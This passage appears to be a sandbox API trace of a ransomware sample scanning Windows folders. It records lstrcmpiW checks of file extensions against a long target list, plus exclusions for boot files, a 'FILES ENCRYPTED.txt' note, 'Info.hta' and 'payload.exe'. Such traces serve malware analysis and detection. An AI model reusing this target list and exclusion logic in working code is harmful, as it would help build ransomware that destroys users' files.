(lpString=".anim") returned 5 [0040.962] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0040.962] lstrlenW (lpString=".arw") returned 4 [0040.962] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".as") returned 3 [0040.962] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0040.962] lstrlenW (lpString=".asa") returned 4 [0040.962] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".asc") returned 4 [0040.962] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".ascx") returned 5 [0040.962] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0040.962] lstrlenW (lpString=".asm") returned 4 [0040.962] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".asmx") returned 5 [0040.962] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0040.962] lstrlenW (lpString=".asp") returned 4 [0040.962] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".aspx") returned 5 [0040.962] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0040.962] lstrlenW (lpString=".asr") returned 4 [0040.962] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".asx") returned 4 [0040.962] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".avi") returned 4 [0040.963] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".avs") returned 4 [0040.963] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".backup") returned 7 [0040.963] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0040.963] lstrlenW (lpString=".bak") returned 4 [0040.963] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".bay") returned 4 [0040.963] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".bd") returned 3 [0040.963] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0040.963] lstrlenW (lpString=".bin") returned 4 [0040.963] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".bmp") returned 4 [0040.963] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".bz2") returned 4 [0040.963] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".c") returned 2 [0040.963] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0040.963] lstrlenW (lpString=".cdr") returned 4 [0040.963] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".cer") returned 4 [0040.963] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".cf") returned 3 [0040.963] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0040.963] lstrlenW (lpString=".cfc") returned 4 [0040.963] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0040.963] lstrlenW (lpString=".cfm") returned 4 [0040.964] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".cfml") returned 5 [0040.964] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0040.964] lstrlenW (lpString=".cfu") returned 4 [0040.964] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".chm") returned 4 [0040.964] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".cin") returned 4 [0040.964] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".class") returned 6 [0040.964] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0040.964] lstrlenW (lpString=".clx") returned 4 [0040.964] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".config") returned 7 [0040.964] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0040.964] lstrlenW (lpString=".cpp") returned 4 [0040.964] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".cr2") returned 4 [0040.964] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".crt") returned 4 [0040.964] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".crw") returned 4 [0040.964] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0040.964] lstrlenW (lpString=".cs") returned 3 [0040.964] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0040.964] lstrlenW (lpString=".css") returned 4 [0040.965] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".csv") returned 4 [0040.965] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".cub") returned 4 [0040.965] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dae") returned 4 [0040.965] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dat") returned 4 [0040.965] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".db") returned 3 [0040.965] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0040.965] lstrlenW (lpString=".dbf") returned 4 [0040.965] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dbx") returned 4 [0040.965] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dc3") returned 4 [0040.965] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dcm") returned 4 [0040.965] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dcr") returned 4 [0040.965] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".der") returned 4 [0040.965] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dib") returned 4 [0040.965] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dic") returned 4 [0040.965] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0040.965] lstrlenW (lpString=".dif") returned 4 [0040.965] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".divx") returned 5 [0040.966] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0040.966] lstrlenW (lpString=".djvu") returned 5 [0040.966] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0040.966] lstrlenW (lpString=".dng") returned 4 [0040.966] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".doc") returned 4 [0040.966] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".docm") returned 5 [0040.966] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0040.966] lstrlenW (lpString=".docx") returned 5 [0040.966] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0040.966] lstrlenW (lpString=".dot") returned 4 [0040.966] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".dotm") returned 5 [0040.966] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0040.966] lstrlenW (lpString=".dotx") returned 5 [0040.966] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0040.966] lstrlenW (lpString=".dpx") returned 4 [0040.966] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".dqy") returned 4 [0040.966] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".dsn") returned 4 [0040.966] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0040.966] lstrlenW (lpString=".dt") returned 3 [0040.966] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0040.966] lstrlenW (lpString=".dtd") returned 4 [0040.966] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".dwg") returned 4 [0040.967] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".dwt") returned 4 [0040.967] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".dx") returned 3 [0040.967] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0040.967] lstrlenW (lpString=".dxf") returned 4 [0040.967] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".edml") returned 5 [0040.967] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0040.967] lstrlenW (lpString=".efd") returned 4 [0040.967] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".elf") returned 4 [0040.967] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".emf") returned 4 [0040.967] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".emz") returned 4 [0040.967] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".epf") returned 4 [0040.967] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".eps") returned 4 [0040.967] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".epsf") returned 5 [0040.967] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0040.967] lstrlenW (lpString=".epsp") returned 5 [0040.967] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0040.967] lstrlenW (lpString=".erf") returned 4 [0040.967] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0040.967] lstrlenW (lpString=".exr") returned 4 [0040.968] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".f4v") returned 4 [0040.968] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".fido") returned 5 [0040.968] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0040.968] lstrlenW (lpString=".flm") returned 4 [0040.968] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".flv") returned 4 [0040.968] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".frm") returned 4 [0040.968] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".fxg") returned 4 [0040.968] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".geo") returned 4 [0040.968] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".gif") returned 4 [0040.968] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".grs") returned 4 [0040.968] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".gz") returned 3 [0040.968] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0040.968] lstrlenW (lpString=".h") returned 2 [0040.968] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0040.968] lstrlenW (lpString=".hdr") returned 4 [0040.968] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".hpp") returned 4 [0040.968] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0040.968] lstrlenW (lpString=".hta") returned 4 [0040.968] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".htc") returned 4 [0040.969] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".htm") returned 4 [0040.969] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".html") returned 5 [0040.969] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0040.969] lstrlenW (lpString=".icb") returned 4 [0040.969] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".ics") returned 4 [0040.969] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".iff") returned 4 [0040.969] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".inc") returned 4 [0040.969] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".indd") returned 5 [0040.969] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0040.969] lstrlenW (lpString=".ini") returned 4 [0040.969] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".iqy") returned 4 [0040.969] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".j2c") returned 4 [0040.969] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".j2k") returned 4 [0040.969] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".java") returned 5 [0040.969] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0040.969] lstrlenW (lpString=".jp2") returned 4 [0040.969] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0040.969] lstrlenW (lpString=".jpc") returned 4 [0040.970] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".jpe") returned 4 [0040.970] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".jpeg") returned 5 [0040.970] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0040.970] lstrlenW (lpString=".jpf") returned 4 [0040.970] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".jpg") returned 4 [0040.970] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".jpx") returned 4 [0040.970] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".js") returned 3 [0040.970] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0040.970] lstrlenW (lpString=".jsf") returned 4 [0040.970] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".json") returned 5 [0040.970] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0040.970] lstrlenW (lpString=".jsp") returned 4 [0040.970] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".kdc") returned 4 [0040.970] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".kmz") returned 4 [0040.970] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".kwm") returned 4 [0040.970] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0040.970] lstrlenW (lpString=".lasso") returned 6 [0040.971] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0040.971] lstrlenW (lpString=".lbi") returned 4 [0040.971] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0040.971] lstrlenW (lpString=".lgf") returned 4 [0040.971] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0040.971] lstrlenW (lpString=".lgp") returned 4 [0040.971] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0040.971] lstrlenW (lpString=".log") returned 4 [0040.971] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0040.971] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0040.971] lstrlenW (lpString=".btix") returned 5 [0040.971] lstrcmpiW (lpString1=".btix", lpString2="6.log") returned -1 [0040.971] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0040.971] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0040.971] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0040.971] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0040.971] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0040.971] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0040.971] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0040.971] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0040.971] lstrcmpiW (lpString1="payload.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0040.971] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0040.971] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.971] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0040.971] lstrlenW (lpString=".1cd") returned 4 [0040.972] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".3ds") returned 4 [0040.972] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".3fr") returned 4 [0040.972] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".3g2") returned 4 [0040.972] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".3gp") returned 4 [0040.972] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".7z") returned 3 [0040.972] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0040.972] lstrlenW (lpString=".accda") returned 6 [0040.972] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0040.972] lstrlenW (lpString=".accdb") returned 6 [0040.972] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0040.972] lstrlenW (lpString=".accdc") returned 6 [0040.972] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0040.972] lstrlenW (lpString=".accde") returned 6 [0040.972] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0040.972] lstrlenW (lpString=".accdt") returned 6 [0040.972] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0040.972] lstrlenW (lpString=".accdw") returned 6 [0040.972] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0040.972] lstrlenW (lpString=".adb") returned 4 [0040.972] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".adp") returned 4 [0040.972] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0040.972] lstrlenW (lpString=".ai") returned 3 [0040.972] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0040.973] lstrlenW (lpString=".ai3") returned 4 [0040.973] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".ai4") returned 4 [0040.973] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".ai5") returned 4 [0040.973] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".ai6") returned 4 [0040.973] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".ai7") returned 4 [0040.973] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".ai8") returned 4 [0040.973] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".anim") returned 5 [0040.973] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0040.973] lstrlenW (lpString=".arw") returned 4 [0040.973] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".as") returned 3 [0040.973] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0040.973] lstrlenW (lpString=".asa") returned 4 [0040.973] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".asc") returned 4 [0040.973] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".ascx") returned 5 [0040.973] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0040.973] lstrlenW (lpString=".asm") returned 4 [0040.973] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0040.973] lstrlenW (lpString=".asmx") returned 5 [0040.973] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0040.973] lstrlenW (lpString=".asp") returned 4 [0040.974] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".aspx") returned 5 [0040.974] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0040.974] lstrlenW (lpString=".asr") returned 4 [0040.974] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".asx") returned 4 [0040.974] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".avi") returned 4 [0040.974] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".avs") returned 4 [0040.974] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".backup") returned 7 [0040.974] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0040.974] lstrlenW (lpString=".bak") returned 4 [0040.974] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".bay") returned 4 [0040.974] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".bd") returned 3 [0040.974] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0040.974] lstrlenW (lpString=".bin") returned 4 [0040.974] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".bmp") returned 4 [0040.974] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".bz2") returned 4 [0040.974] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0040.974] lstrlenW (lpString=".c") returned 2 [0040.974] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0040.974] lstrlenW (lpString=".cdr") returned 4 [0040.974] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".cer") returned 4 [0040.975] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".cf") returned 3 [0040.975] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0040.975] lstrlenW (lpString=".cfc") returned 4 [0040.975] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".cfm") returned 4 [0040.975] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".cfml") returned 5 [0040.975] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0040.975] lstrlenW (lpString=".cfu") returned 4 [0040.975] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".chm") returned 4 [0040.975] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".cin") returned 4 [0040.975] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".class") returned 6 [0040.975] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0040.975] lstrlenW (lpString=".clx") returned 4 [0040.975] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".config") returned 7 [0040.975] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0040.975] lstrlenW (lpString=".cpp") returned 4 [0040.975] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".cr2") returned 4 [0040.975] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".crt") returned 4 [0040.975] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0040.975] lstrlenW (lpString=".crw") returned 4 [0040.975] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".cs") returned 3 [0040.976] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0040.976] lstrlenW (lpString=".css") returned 4 [0040.976] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".csv") returned 4 [0040.976] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".cub") returned 4 [0040.976] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dae") returned 4 [0040.976] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dat") returned 4 [0040.976] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".db") returned 3 [0040.976] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0040.976] lstrlenW (lpString=".dbf") returned 4 [0040.976] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dbx") returned 4 [0040.976] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dc3") returned 4 [0040.976] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dcm") returned 4 [0040.976] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dcr") returned 4 [0040.976] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".der") returned 4 [0040.976] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dib") returned 4 [0040.976] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dic") returned 4 [0040.976] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".dif") returned 4 [0040.976] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0040.976] lstrlenW (lpString=".divx") returned 5 [0040.976] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0040.977] lstrlenW (lpString=".djvu") returned 5 [0040.977] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0040.977] lstrlenW (lpString=".dng") returned 4 [0040.977] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0040.977] lstrlenW (lpString=".doc") returned 4 [0040.977] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0040.977] lstrlenW (lpString=".docm") returned 5 [0040.977] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0040.977] lstrlenW (lpString=".docx") returned 5 [0040.977] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0040.977] lstrlenW (lpString=".dot") returned 4 [0040.977] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0040.977] lstrlenW (lpString=".dotm") returned 5 [0040.977] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0040.977] lstrlenW (lpString=".dotx") returned 5 [0040.977] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0040.977] lstrlenW (lpString=".dpx") returned 4 [0040.977] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0040.977] lstrlenW (lpString=".dqy") returned 4 [0040.977] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0040.977] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.977] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0040.978] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0040.979] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0040.979] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0040.979] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0040.979] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280780 [0040.980] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: 